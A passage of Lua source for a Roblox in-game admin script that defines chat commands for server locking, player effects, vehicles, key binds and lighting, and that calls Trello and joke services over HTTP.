  8139.         local Friends,OneFriend = {}, false
  8140.         for _,Player in pairs(Players) do
  8141.             for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
  8142.                 --[[if Player:IsBestFriendsWith(User.UserId) then
  8143.                     table.insert(Friends, Player.Name.." is best friends with "..User.Name)
  8144.                     OneFriend = true
  8145.                 ]]
  8146.                 if Player:IsFriendsWith(User.UserId) then
  8147.                     table.insert(Friends, Player.Name.." is friends with "..User.Name)
  8148.                     OneFriend = true
  8149.                 end
  8150.                 if _ == #Server.Players:GetPlayers() and OneFriend == false then
  8151.                     table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
  8152.                 end
  8153.             end end
  8154.         end
  8155.         GUI:ListGui(Speaker, "Friend List", Friends)
  8156.     end};
  8157.    
  8158.     [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8159.         Settings.ServerLocked = true
  8160.         GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
  8161.     end};
  8162.    
  8163.     [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8164.         Settings.ServerLocked = false
  8165.         GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
  8166.     end};
  8167.    
  8168.     [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8169.         local OldAge = Settings.MinimumAge
  8170.         local Age = tostring(Arguments[1])
  8171.         if Age then
  8172.             Settings.MinimumAge = Age
  8173.             GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
  8174.         end
  8175.     end};
  8176.    
  8177.     [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8178.         if Settings.VIPAdminID <= 1 then
  8179.             MARKET:PromptPurchase(Speaker, VIPAdminID)
  8180.         else
  8181.             CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
  8182.         end
  8183.     end};
  8184.    
  8185.     [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8186.         if Settings.VIPMemberID <= 1 then
  8187.             MARKET:PromptPurchase(Speaker, VIPMemberID)
  8188.         else
  8189.             CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
  8190.         end
  8191.     end};
  8192.    
  8193.     [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
  8194.         if tonumber(Arguments[2]) then
  8195.             local Players = STRING:Scan(Arguments[1], Speaker)
  8196.             local Size = tonumber(Arguments[2])+25
  8197.             for _,Player in pairs(Players) do
  8198.                 if Player.Character then
  8199.                     if Player.Character:FindFirstChild("Head") then
  8200.                         if Player.Character.Head:FindFirstChild("Mesh") then
  8201.                             Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
  8202.                         end
  8203.                     end
  8204.                 end
  8205.             end
  8206.         end
  8207.     end};
  8208.    
  8209.     [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8210.         local Players = STRING:Scan(Arguments[1], Speaker)
  8211.         for _,Player in pairs(Players) do
  8212.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  8213.                 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
  8214.                 Player.Character.Parent = nil
  8215.                 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
  8216.             end
  8217.         end
  8218.     end};
  8219.    
  8220.     [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8221.         GUI:SettingsGui(Speaker)
  8222.     end};
  8223.    
  8224.     [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  8225.         if tonumber(Arguments[2]) then
  8226.             local Players = STRING:Scan(Arguments[1], Speaker)
  8227.             local List = {}
  8228.             for _,Player in pairs(Players) do
  8229.                 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
  8230.                     table.insert(List, Player.Name)
  8231.                 end
  8232.             end
  8233.             GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
  8234.         end
  8235.     end};
  8236.    
  8237.     [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
  8238.         local Players = STRING:Scan(Arguments[1], Speaker)
  8239.         for _,Player in pairs(Players) do
  8240.             if Player.Character and Player.Character:FindFirstChild("Head") then
  8241.                 local Char = Player.Character
  8242.                 Char:BreakJoints()
  8243.                 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  8244.                     Obj.Anchored = true
  8245.                     for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
  8246.                         local Decal = Instance.new("Decal", Obj)
  8247.                         Decal.Texture = "rbxassetid://178913323"
  8248.                         Decal.Face = Face
  8249.                     end
  8250.                 end)
  8251.                 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
  8252.                 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
  8253.                 Sound1:Play() Sound2:Play()
  8254.                 coroutine.wrap(function()
  8255.                     coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
  8256.                     repeat wait()
  8257.                         CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  8258.                             SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
  8259.                             Obj.Transparency = math.random(0,30)/100
  8260.                             Obj.Reflectance = math.random(0,50)/100
  8261.                             Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
  8262.                         end)
  8263.                     until Char ~= Player.Character or Char.Parent == nil
  8264.                 end)()
  8265.             end
  8266.         end
  8267.     end, Hidden = true};
  8268.    
  8269.     [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
  8270.         GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
  8271.     end, Http = true};
  8272.    
  8273.     [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
  8274.         local Players = STRING:Scan(Arguments[1], Speaker)
  8275.         for _,Player in pairs(Players) do
  8276.             if Player.Character then
  8277.                 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  8278.                     Obj.Material = "Neon"
  8279.                 end)
  8280.             end
  8281.         end
  8282.     end};
  8283.    
  8284.     [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8285.         local Players = STRING:Scan(Arguments[1], Speaker)
  8286.         for _,Player in pairs(Players) do
  8287.             if Player.Character then
  8288.                 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  8289.                     Obj.Material = "Plastic"
  8290.                 end)
  8291.             end
  8292.         end
  8293.     end};
  8294.    
  8295.     [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
  8296.         local Players = STRING:Scan(Arguments[1], Speaker)
  8297.         for _,Player in pairs(Players) do
  8298.             if Player.Character then
  8299.                 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
  8300.                     Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
  8301.                 end)
  8302.             end
  8303.         end
  8304.     end, Hidden = true};
  8305.    
  8306.     [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8307.         local Players = STRING:Scan(Arguments[1], Speaker)
  8308.         for _,Player in pairs(Players) do
  8309.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  8310.                 local Pos = Player.Character.Torso.Position
  8311.                 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
  8312.                 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
  8313.                 if Answer == "Ok" then
  8314.                     CORE:AddWaypoint(Player.Name, Pos, Speaker)
  8315.                 end
  8316.             end
  8317.         end
  8318.     end};
  8319.    
  8320.     [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
  8321.         local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
  8322.         local PlayersTo = STRING:Scan(Arguments[2], Speaker)
  8323.         if PlayersFrom and PlayersTo then
  8324.             for _,PlayerFrom in pairs(PlayersFrom) do
  8325.                 for _,PlayerTo in pairs(PlayersTo) do
  8326.                     if PlayerFrom.Character and PlayerTo.Character then
  8327.                         if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
  8328.                             local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
  8329.                             wait(5)
  8330.                             Laser:Destroy()
  8331.                         end)() end
  8332.                     end
  8333.                 end
  8334.             end
  8335.         end
  8336.     end};
  8337.    
  8338.     [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8339.         local Players = STRING:Scan(Arguments[1], Speaker)
  8340.         for _,Player in pairs(Players) do
  8341.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  8342.                 Player.Character.Humanoid:Destroy()
  8343.             end
  8344.         end
  8345.     end};
  8346.    
  8347.     [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8348.         if Plugins then
  8349.             local List = {}
  8350.             for _,Module in pairs(Plugins:GetChildren()) do
  8351.                 if Module:IsA("ModuleScript") then
  8352.                     local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8353.                     local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8354.                     local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8355.                     table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
  8356.                 end
  8357.             end
  8358.             GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
  8359.         else
  8360.             GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
  8361.         end
  8362.     end};
  8363.    
  8364.     [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8365.         local Players = STRING:Scan(Arguments[1], Speaker)
  8366.         for _,Player in pairs(Players) do
  8367.             GUI:DetachChat(Player)
  8368.         end
  8369.     end};
  8370.    
  8371.     [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
  8372.         GUI:DetachChat(Speaker)
  8373.     end};
  8374.    
  8375.     [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
  8376.         local Players = STRING:Scan(Arguments[1], Speaker)
  8377.         for _,Player in pairs(Players) do
  8378.             if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  8379.                 local Dead = false
  8380.                
  8381.                 Player.Character.Humanoid.WalkSpeed = 1
  8382.                 local Torso = Player.Character.Torso
  8383.                 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
  8384.                 Truck:BreakJoints()
  8385.                 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
  8386.                 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
  8387.                 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
  8388.                 Truck.Touched:connect(function(Part)
  8389.                     if Dead == false then
  8390.                         local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
  8391.                         if TouchPlayer == Player then
  8392.                             Dead = true
  8393.                             Player.Character:BreakJoints()
  8394.                             SOUND:MakeSound(Truck, 264486467):Play() -- splat
  8395.                         end
  8396.                     end
  8397.                 end)
  8398.                 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
  8399.                 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
  8400.                 Delay(5, function()
  8401.                     Truck:Destroy()
  8402.                     if Player.Character:FindFirstChild("Humanoid") then
  8403.                         Player.Character.Humanoid.WalkSpeed = 16
  8404.                     end
  8405.                 end)
  8406.             end
  8407.         end
  8408.     end};
  8409.    
  8410.     [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
  8411.         local Joke = REMOTE:DownloadJoke(Speaker)
  8412.         local Players = STRING:Scan(Arguments[1], Speaker)
  8413.         for _,Player in pairs(Players) do
  8414.             GUI:SendMessage(Player, "Joke", Joke, 19629580)
  8415.         end
  8416.     end, Http = true};
  8417.    
  8418.     [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
  8419.         local Joke = REMOTE:DownloadJoke(Speaker)
  8420.         GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
  8421.     end, Http = true};
  8422.    
  8423.     [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
  8424.         local Players = STRING:Scan(Arguments[1], Speaker)
  8425.         for _,Player in pairs(Players) do
  8426.             if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
  8427.                 CORE:InvisiblePlayer(Player)
  8428.                 local DogContainer = Instance.new("Model", Player.Character)
  8429.                 DogContainer.Name = "Doge"
  8430.                 local Dog = CORE:Insert(257489726, DogContainer, true)
  8431.                 Dog.Head.Transparency = 0.99
  8432.                 Dog.Name = Player.Name
  8433.                 Dog:MoveTo(Player.Character.Torso.Position)
  8434.                 local Weld = Instance.new("Weld", Dog.Torso)
  8435.                 Weld.Part0 = Player.Character.Torso
  8436.                 Weld.Part1 = Dog.Torso
  8437.                 Weld.C0 = CFrame.new(0,-0.4,0)
  8438.                 for _,Obj in pairs(Dog:GetChildren()) do
  8439.                     if Obj:IsA("BasePart") then
  8440.                         Obj.CanCollide = false
  8441.                     end
  8442.                 end
  8443.                
  8444.                 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
  8445.             end
  8446.         end
  8447.     end};
  8448.    
  8449.     [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
  8450.         local Key = string.lower(string.sub(Arguments[1],1,1))
  8451.         KeyBinds[Speaker.UserId][Key] = Arguments[2]
  8452.         GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
  8453.     end};
  8454.    
  8455.     [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8456.         local Key = string.lower(string.sub(Arguments[1],1,1))
  8457.         KeyBinds[Speaker.UserId][Key] = nil
  8458.         GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
  8459.     end};
  8460.    
  8461.     [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8462.         KeyBinds[Speaker.UserId] = {}
  8463.         GUI:SendHint(Speaker, "Unbinded all keys")
  8464.     end};
  8465.    
  8466.     [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
  8467.         local Players = STRING:Scan(Arguments[1], Speaker)
  8468.         local Key = string.lower(string.sub(Arguments[2],1,1))
  8469.         for _,Player in pairs(Players) do
  8470.             KeyBinds[Player.UserId][Key] = Arguments[3]
  8471.             GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
  8472.         end
  8473.     end};
  8474.    
  8475.     [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8476.         local Players = STRING:Scan(Arguments[1], Speaker)
  8477.         local Key = string.lower(string.sub(Arguments[2],1,1))
  8478.         for _,Player in pairs(Players) do
  8479.             KeyBinds[Player.UserId][Key] = nil
  8480.             GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
  8481.         end
  8482.     end};
  8483.    
  8484.     [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
  8485.         local Players = STRING:Scan(Arguments[1], Speaker)
  8486.         for _,Player in pairs(Players) do
  8487.             KeyBinds[Player.UserId] = {}
  8488.             GUI:SendHint(Player, "Unbinded all keys")
  8489.         end
  8490.     end};
  8491.    
  8492.     [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8493.         local Players = STRING:Scan(Arguments[1], Speaker)
  8494.         local Binds = {}
  8495.         for _,Player in pairs(Players) do
  8496.             for Key,Bind in pairs(KeyBinds[Player.UserId]) do
  8497.                 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
  8498.             end
  8499.         end
  8500.         GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
  8501.     end};
  8502.    
  8503.     [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8504.         local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
  8505.         local Players = STRING:Scan(ChatSplit[1], Speaker)
  8506.         for _,Player in pairs(Players) do
  8507.             if Crowns[Player.UserId] then
  8508.                 Crowns[Player.UserId]:Destroy()
  8509.                 Crowns[Player.UserId] = nil
  8510.                 wait()
  8511.             end
  8512.             CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
  8513.         end
  8514.     end};
  8515.    
  8516.     [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
  8517.         local Players = STRING:Scan(Arguments[1], Speaker)
  8518.         for _,Player in pairs(Players) do
  8519.             if Crowns[Player.UserId] then
  8520.                 Crowns[Player.UserId]:Destroy()
  8521.                 Crowns[Player.UserId] = nil
  8522.             end
  8523.         end
  8524.     end};
  8525.    
  8526.     [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8527.         local MeshList = {}
  8528.         for MeshName,Data in pairs(Meshes) do
  8529.             table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
  8530.         end
  8531.         GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
  8532.     end};
  8533.    
  8534.     [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8535.         CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
  8536.     end};
  8537.    
  8538.     [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
  8539.         local Players = STRING:Scan(Arguments[1], Speaker)
  8540.         for _,Player in pairs(Players) do
  8541.             if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  8542.                 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  8543.                 Player:ClearCharacterAppearance()
  8544.                 CORE:GivePackage(Player, 41851073)
  8545.                 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
  8546.                 Player.Character.Head.face.Texture = "rbxassetid://7699086"
  8547.             end
  8548.         end
  8549.     end};
  8550.    
  8551.     [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
  8552.         local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
  8553.         local Players = STRING:Scan(Arguments[1], Speaker)
  8554.         for _,Player in pairs(Players) do
  8555.             if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
  8556.             local Car = CORE:Insert(10479801, Server.Workspace, true)
  8557.             local Body = Car["Motor (torque)Chassis"].Part
  8558.             Cars[Player.UserId] = Car
  8559.             Car:MakeJoints()
  8560.             Car.VehicleSeat.MaxSpeed = 50
  8561.             Car.VehicleSeat.TurnSpeed = 1.5
  8562.             CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
  8563.             if Arguments[2] and GUI:GetColor(Arguments[2]) then
  8564.                 Body.Color = GUI:GetColor(Arguments[2])
  8565.             else
  8566.                 Body.BrickColor = GUI:GetNameColor(Player.Name)
  8567.             end
  8568.             for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
  8569.                 if Part.Name ~= "Part" then
  8570.                     Part.BrickColor = BrickColor.new("Really black")
  8571.                     Part.Friction = 0.7
  8572.                 end
  8573.             end
  8574.             local Light = Instance.new("SpotLight", Body)
  8575.             Light.Face = "Back"
  8576.             Light.Brightness = 5
  8577.             Light.Range = 20
  8578.             Light.Color = Color3.new(0,1,1)
  8579.             if Player.Character and Player.Character.Torso then
  8580.                 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
  8581.                 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
  8582.                 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
  8583.                 Weld.Part0 = Car.VehicleSeat
  8584.                 Weld.Part1 = Player.Character.Torso
  8585.                 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
  8586.                 Delay(0.4, function()
  8587.                     Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
  8588.                     wait(0.1)
  8589.                     Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
  8590.                 end)
  8591.             end
  8592.             local SoundID = 147944604
  8593.             if RANK:GetRank(Player) == "Owner" then
  8594.                 SoundID = 133313356
  8595.                 Car.VehicleSeat.MaxSpeed = 80
  8596.                 Body.Material = "DiamondPlate"
  8597.                 Car.VehicleSeat.Torque = 11
  8598.             end
  8599.             local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
  8600.             Engine:Play()
  8601.             coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
  8602.                 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
  8603.             end if Engine then Engine:Stop() end end)()
  8604.         end
  8605.     end};
  8606.    
  8607.     [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
  8608.         local Players = STRING:Scan(Arguments[1], Speaker)
  8609.         for _,Player in pairs(Players) do
  8610.             if Cars[Player.UserId] then
  8611.                 Cars[Player.UserId]:Destroy()
  8612.             end
  8613.         end
  8614.     end};
  8615.    
  8616.     [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
  8617.         for _,Car in pairs(Cars) do
  8618.             Car:Destroy()
  8619.         end
  8620.         Cars = {}
  8621.     end};
  8622.    
  8623.     [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8624.         ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  8625.         if #Trello.RequiredLists > 0 then
  8626.             print("Restarting Trello")
  8627.             Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  8628.             local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  8629.             REMOTE:TrelloCacheData(Lists)
  8630.         end
  8631.     end, Http = true};
  8632.    
  8633.     [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
  8634.         local Operations = {}
  8635.         for _,ReplaceData in pairs(StringReplacements) do
  8636.             local Replacement = ReplaceData[1]
  8637.             if type(Replacement) == "table" then
  8638.                 Replacement = ReplaceData[1][1]
  8639.             end
  8640.             table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
  8641.         end
  8642.         GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
  8643.     end};
  8644.    
  8645.     [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8646.         GUI:SoundInfo(Speaker)
  8647.     end};
  8648.    
  8649.     [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8650.         local Players = STRING:Scan(Arguments[1], Speaker)
  8651.         for _,Player in pairs(Players) do
  8652.             GUI:SoundInfo(Player)
  8653.         end
  8654.     end};
  8655.    
  8656.     [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8657.         if tonumber(Arguments[1]) then
  8658.             Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
  8659.         end
  8660.     end};
  8661.    
  8662.     [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
  8663.         local Types = {}
  8664.         for Type,_ in pairs(Assets.AccessoryTypes) do
  8665.             table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
  8666.         end
  8667.         GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
  8668.     end};
  8669.    
  8670.     [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8671.         local Sky = Server.Lighting:FindFirstChild("Sky")
  8672.         if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
  8673.         local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
  8674.         local Face = nil
  8675.         local SkyID = string.lower(Arguments[1])
  8676.         local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
  8677.         if #Arguments == 2 and tonumber(Arguments[2]) then
